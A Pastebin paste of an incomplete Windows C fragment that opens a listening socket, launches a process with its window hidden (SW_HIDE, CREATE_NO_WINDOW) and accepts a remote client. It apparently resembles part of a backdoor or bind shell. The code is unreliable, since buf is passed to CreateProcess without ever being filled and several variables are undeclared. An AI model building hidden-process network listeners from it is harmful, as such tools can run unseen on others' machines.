Advertisement
Guest User

Untitled

a guest
Nov 24th, 2014
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.69 KB | None | 0 0
  1. SOCKET sock = open_socket(szListenHost, iListenPort);
  2. if (sock > 0) {
  3. SOCKET client;
  4. struct sockaddr_in peeraddr;
  5. T_socklen len = sizeof (struct sockaddr_in);
  6.  
  7. char buf[1024];
  8.  
  9. sin.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  10. sin.hStdInput = GetStdHandle(STD_INPUT_HANDLE);
  11. sin.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE);
  12. sin.hStdError = GetStdHandle(STD_ERROR_HANDLE);
  13. sin.wShowWindow = SW_HIDE;
  14. dwCreationFlags = CREATE_NO_WINDOW;
  15.  
  16. CreateProcess(NULL, buf, NULL, NULL, FALSE, dwCreationFlags, NULL, NULL, &sin, &pin);
  17.  
  18. memset(&peeraddr, 0, sizeof (struct sockaddr_in));
  19. client = accept(sock, (sockaddr*)&peeraddr, &len);
  20.  
  21. if (client > 0) {
  22. rv = message_loop(client);
  23. }
  24. closesocket(sock);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement